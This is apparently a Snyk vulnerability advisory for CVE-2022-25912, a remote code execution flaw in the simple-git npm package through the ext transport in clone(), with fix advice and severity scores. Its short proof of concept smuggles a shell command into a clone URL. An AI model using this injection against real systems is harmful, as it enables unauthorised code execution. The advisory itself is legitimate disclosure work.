

Remote Code Execution (RCE)

Affecting [simple-git](#) package, versions <3.15.0

INTRODUCED: 10 NOV 2022 NEW [CVE-2022-25912](#) [CWE-94](#) FIRST ADDED BY SNYK Share

How to fix?

Upgrade `simple-git` to version 3.15.0 or higher.

Overview

`simple-git` is a light weight interface for running git commands in any node.js application.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when enabling the `ext` transport protocol, which makes it exploitable via `clone()` method. This vulnerability exists due to an incomplete fix of [CVE-2022-24066](#).

PoC

```
const simpleGit = require('simple-git') const git2 = simpleGit() git2.clone('ext::sh -c touch% /tmp/pwn%>&2', '/tmp/example-new-repo', ['-c', 'protocol.ext.allow=always'])
```

References

- [GitHub Commit](#)
- [GitHub Release](#)
- [Plugin-Unsafe-Actions Documentation](#)

HIGH

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Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	High
Confidentiality	HIGH
Integrity	HIGH
Availability	HIGH

See more

> NVD 9.8 CRITICAL

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Snyk ID	SNYK-JS-SIMPLEGIT-3112221
Published	5 Dec 2022
Disclosed	10 Nov 2022
Credit	Sam Wheatling

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